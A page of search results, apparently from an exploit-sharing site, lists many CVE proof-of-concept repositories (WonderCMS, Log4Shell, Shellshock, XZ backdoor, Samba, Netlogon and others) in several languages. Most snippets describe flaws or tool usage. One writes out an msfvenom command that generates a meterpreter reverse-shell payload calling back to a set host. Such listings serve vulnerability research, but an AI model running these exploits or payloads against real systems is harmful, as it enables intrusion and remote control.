267924 matches found
WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425
WonderCMS 4.3.2 Exploits XSS vers RCE Aperçu Ces scripts exploitent une vulnérabilité XSS Cross-Site Scripting dans WonderCMS 4.3.2 pour parvenir à une Exécution de Code à Distance RCE. La charge utile XSS, lorsqu'elle est déclenchée par l'administrateur, installe automatiquement un reverse shell...
cve-2025-55182
CVE-2025-55182 alias React2Shell Mise en place de l'environnement de test root@kitploit: kiot :: /react2shell » docker compose build --no-cache kiot :: /react2shell » docker compose up POC Payload 1. RCE avec réponse dans le corps root@kitploit: POST / HTTP/1.1 Host: localhost:3000 Next-Action:...
CVE-2023-49070
CVE-2023-49070 RCE sans authentification dans Apache Ofbiz !! Voir la vidéo POC : https://youtu.be/gDzYb6YvBSQ...
cve-2018-15133
POC - CVE-2018-15133 Utilisation: root@kitploit: $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; si...
CVE-2026-4480
🚨 CVE-2026-4480 - Exécution de code à distance critique dans le sous-système d'impression Samba Exécution de code à distance RCE Vulnérabilité d'injection de commande d'impression Samba "Un seul nom de tâche d'impression ne devrait jamais devenir une commande shell." 📖 Aperçu CVE-2026-4480 est un...
CVE-2026-48907
🚨 CVE-2026-48907 - JCE Joomla Content Editor Exécution de code à distance non authentifiée ⚠️ RCE non authentifiée critique dans JCE Joomla Content Editor Une vulnérabilité critique de contrôle d'accès permettant à des attaquants non authentifiés de compromettre des installations Joomla vulnérable...
CVE-2026-41089
🚨 CVE-2026-41089 - 중요 Windows Netlogon 원격 코드 실행 RCE ⚠️ 도메인 컨트롤러에서 인증되지 않은 원격 코드 실행을 허용하는 중요한 Windows Netlogon 취약점입니다. 📖 개요 CVE-2026-41089 는 Windows Netlogon 서비스에 영향을 미치는 중요한 취약점입니다. 이 결함은 스택 기반 버퍼 오버플로우 에서 비롯되며, 원격 공격자가 취약한 도메인 컨트롤러에 특수 조작된 요청을 보내 임의 코드를 실행할 수 있도록 합니다. 영향...
CVE-2014-6271
🚨 CVE-2014-6271 — “Shellshock” 25년간 묵혀온 제로데이 원격 코드 실행 — 환경 변수를 통한 GNU Bash 취약점 📖 개요 CVE-2014-6271 , 일명 Shellshock 또는 Bashdoor는 GNU Bash 셸의 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 특수하게 조작된 환경 변수HTTP 헤더, DHCP, SSH 등을 통해를 전송하여 원격 셸 접근 을 얻을 수 있으며, 대개 인증이나 사용자 상호작용 없이도 가능합니다. 🧠 취약점 요약...
CVE-2021-44228
🚨 CVE-2021-44228 — “Log4Shell” Критическая уязвимость удаленного выполнения кода в Apache Log4j 2 , широко известная как Log4Shell. 📖 Содержание Обзор Технические детали Серьезность и CVSS Уязвимые версии Эксплуатация и воздействие Реальное влияние Обнаружение Смягчение и исправления Резюме 🔎 Обз...
CVE-2022-36067-vm2-POC-webapp
CVE-2022-36067-vm2-POC-webapp Étapes pour reproduire 1. installez peut-être vm2 globalement d'abord npm -install [email protected] -g 2. exécutez : node index.js 3. visitez http://localhost:5000/poc 4. Téléchargez le fichier poc tel que poc2.js ou le code et observez RCE...
CVE-2026-20841
CVE-2026-20841 - Exécution de code à distance RCE dans le Bloc-notes Windows Dépôt de recherche en sécurité et d'analyse technique ⚠️ Ce dépôt est destiné uniquement à des fins éducatives, défensives et de recherche. 📖 Présentation CVE-2026-20841 est une vulnérabilité critique d'exécution de code ...
CVE-2026-11499
🚨 CVE-2026-11499 Débordement de tampon basé sur la pile dans les routeurs Tenda HG7 / HG9 / HG10 📖 Aperçu CVE-2026-11499 est une vulnérabilité de débordement de tampon basé sur la pile rapportée affectant plusieurs modèles de routeurs Tenda , notamment : HG7 HG9 HG10 Une exploitation réussie peut...
CVE-2024-51793
Documentation de l'outil d'exploitation CVE-2024-51793 📋 Aperçu CVE-2024-51793 est une vulnérabilité de téléchargement arbitraire de fichiers non authentifié dans le plugin WordPress Computer Repair Shop versions antérieures à 3.8116. Cette vulnérabilité permet à des attaquants de télécharger des...
CVE-2026-12485
🚨 CVE-2026-12485 - Exécution de Code à Distance Critique non Authentifiée RCE GeoVision GV-I/O Box 4E – Firmware v2.09 Date de divulgation: 23 juin 2026 CWE: CWE-121 – Débordement de tampon basé sur la pile Vecteur d'attaque: Réseau non authentifié Une vulnérabilité de débordement de tampon basé...
CVE-2022-0543
CVE-2022-0543 CVE-2022-0543RCE,Redis Lua contournement du bac à sable exécution de commandes Utilisation python3 CVE-2022-0543.py...
CVE-2026-35273
🚨 CVE-2026-35273 - Ejecución Remota de Código Sin Autenticación en Oracle PeopleSoft PeopleTools ⚠️ RCE Crítica Sin Autenticación en Oracle PeopleSoft PeopleTools Una vulnerabilidad que afecta a Oracle PeopleSoft Enterprise PeopleTools y permite a atacantes remotos comprometer sistemas vulnerables...
CVE-2026-41089
CVE-2026-41089 root@kitploit: ██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ██║ ██║███║██╔═████╗██╔═████╗ ██║ ██║ ██║█████╗ ███████║╚██║██║██╔██║██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔══██║ ██║████╔╝██║████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ╚═════...
CVE-2022-24500
Эксплойт RCE CVE-2022-24500 Уязвимость удаленного выполнения кода Windows SMB Уязвимость: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 шаг 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.b...
CVE-2024-3094
🚨 CVE-2024-3094 — Бэкдор в XZ Utils 🧠 Обзор CVE-2024-3094 — это критическая компрометация цепочки поставок, затрагивающая широко используемую библиотеку сжатия XZ Utils. Злоумышленник внедрил скрытый бэкдор в upstream-релизы, позволяющий удаленное выполнение кода RCE через подделанную liblzma. ⚠️...